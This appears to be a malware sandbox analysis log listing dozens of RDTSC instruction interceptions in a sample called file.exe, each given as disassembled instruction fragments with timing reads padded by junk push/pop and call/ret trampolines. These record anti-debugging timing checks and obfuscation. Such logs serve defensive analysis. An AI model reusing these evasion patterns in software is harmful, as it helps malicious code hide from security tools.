Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAA0C second address: ADAA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB7BF second address: ADB7D5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f je 00007FAA8CDD0FC6h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB7D5 second address: ADB7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB7DB second address: ADB7DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB7DF second address: ADB83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov di, ax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FAA8CB48458h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007FAA8CB48458h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 mov dword ptr [ebp+122D1A0Eh], esi 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c jl 00007FAA8CB4845Ch 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB83B second address: ADB855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FAA8CDD0FCCh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC89E second address: ADC920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ecx 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FAA8CB48458h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jp 00007FAA8CB48458h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FAA8CB48458h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov edi, dword ptr [ebp+122D3579h] 0x0000004f push 00000000h 0x00000051 mov edi, eax 0x00000053 xchg eax, esi 0x00000054 jmp 00007FAA8CB48463h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FAA8CB4845Bh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A949DA second address: A949E6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA8CDD0FC6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCAC0 second address: ADCAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A949E6 second address: A949EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A949EC second address: A949F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCAC7 second address: ADCACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCACD second address: ADCAE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FAA8CB4845Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEE5F second address: ADEE77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FAA8CDD0FC6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FAA8CDD0FC6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEE77 second address: ADEE86 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA8CB48456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFE37 second address: ADFE3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFE3B second address: ADFE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D99 second address: AE0DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5EDE second address: AE5F62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48463h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop eax 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FAA8CB48458h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b pushad 0x0000002c add dword ptr [ebp+122D2C90h], edx 0x00000032 sub ch, 00000048h 0x00000035 popad 0x00000036 push 00000000h 0x00000038 sub ebx, 510A878Bh 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007FAA8CB48458h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000015h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a pushad 0x0000005b sub dword ptr [ebp+122D3139h], esi 0x00000061 adc eax, 7CEEE20Ah 0x00000067 popad 0x00000068 xchg eax, esi 0x00000069 push ebx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5171 second address: AE5192 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5F62 second address: AE5F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5192 second address: AE5200 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push dword ptr fs:[00000000h] 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FAA8CDD0FC8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b jmp 00007FAA8CDD0FD4h 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 or bh, 00000061h 0x0000003a mov eax, dword ptr [ebp+122D0315h] 0x00000040 mov dword ptr [ebp+122D1AB1h], esi 0x00000046 push FFFFFFFFh 0x00000048 mov ebx, dword ptr [ebp+122D354Dh] 0x0000004e nop 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FAA8CDD0FCBh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5F66 second address: AE5F86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAA8CB48465h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5F86 second address: AE5F90 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6F6C second address: AE6F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7FD9 second address: AE7FDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7FDD second address: AE802D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007FAA8CB48464h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FAA8CB48458h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a sbb bh, 0000002Ch 0x0000002d xchg eax, esi 0x0000002e jp 00007FAA8CB48462h 0x00000034 jng 00007FAA8CB4845Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEC908 second address: AEC90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF16B4 second address: AF16F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FAA8CB48466h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAA8CB48462h 0x00000013 jmp 00007FAA8CB4845Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF16F0 second address: AF16FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FAA8CDD0FC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF16FF second address: AF1705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF10A6 second address: AF10C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAA8CDD0FD4h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF10C3 second address: AF10D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF11FF second address: AF120B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAA8CDD0FC6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF120B second address: AF1251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48463h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007FAA8CB48467h 0x00000010 jmp 00007FAA8CB48464h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1251 second address: AF125C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF125C second address: AF1260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF46EC second address: AF4700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CDD0FD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF47A7 second address: AF47C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48467h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF47C2 second address: AF47C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF47C8 second address: AF47CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF47CC second address: AF47D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF47D0 second address: AF47E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FAA8CB4846Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF47E3 second address: AF4806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FAA8CDD0FCCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4806 second address: AF4810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FAA8CB48456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF83B7 second address: AF83BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF83BB second address: AF83DA instructions: 0x00000000 rdtsc 0x00000002 js 00007FAA8CB48456h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FAA8CB48463h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FAA8CB4845Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF83DA second address: AF842E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCDh 0x00000007 jmp 00007FAA8CDD0FD4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FAA8CDD0FD5h 0x00000014 jmp 00007FAA8CDD0FCFh 0x00000019 jng 00007FAA8CDD0FCEh 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A963EF second address: A963F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A963F3 second address: A96415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FAA8CDD0FD6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDB43 second address: AFDB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB4845Ch 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDB58 second address: AFDB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDB60 second address: AFDB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jg 00007FAA8CB4846Ch 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDB8A second address: AFDBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FAA8CDD0FCEh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAA8CDD0FD8h 0x00000012 jmp 00007FAA8CDD0FD1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E028 second address: A8E02C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD11C8 second address: AD11D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E02C second address: A8E034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE94 second address: AFCE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE98 second address: AFCEB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCEB5 second address: AFCEBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCEBB second address: AFCEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCEC1 second address: AFCEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCEC5 second address: AFCEC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD063 second address: AFD073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FAA8CDD0FC6h 0x0000000a jno 00007FAA8CDD0FC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD1DE second address: AFD1FB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAA8CB48462h 0x00000008 pushad 0x00000009 js 00007FAA8CB48456h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD30A second address: AFD30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD30E second address: AFD317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD317 second address: AFD325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAA8CDD0FC6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD705 second address: AFD715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAA8CB48456h 0x0000000a jne 00007FAA8CB48456h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD841 second address: AFD853 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAA8CDD0FCAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD9CF second address: AFD9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD9D5 second address: AFDA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FCCh 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007FAA8CDD0FC6h 0x00000013 pop ecx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007FAA8CDD0FCEh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01DBB second address: B01DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01DC0 second address: B01DC5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD9EB second address: ACD9F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD9F1 second address: ACD9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD9F5 second address: ACD9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDB70 second address: ACDB7A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDB7A second address: ACDB89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB4845Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDCBD second address: ACDCC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FAA8CDD0FC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDFCA second address: ACDFD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE131 second address: ACE14A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE14A second address: ACE150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE560 second address: ACE587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 je 00007FAA8CDD0FC8h 0x0000000d mov dh, 91h 0x0000000f push 00000004h 0x00000011 sub edi, dword ptr [ebp+122D35C9h] 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAA8CDD0FCDh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACEB2A second address: ACEB34 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAA8CB48456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
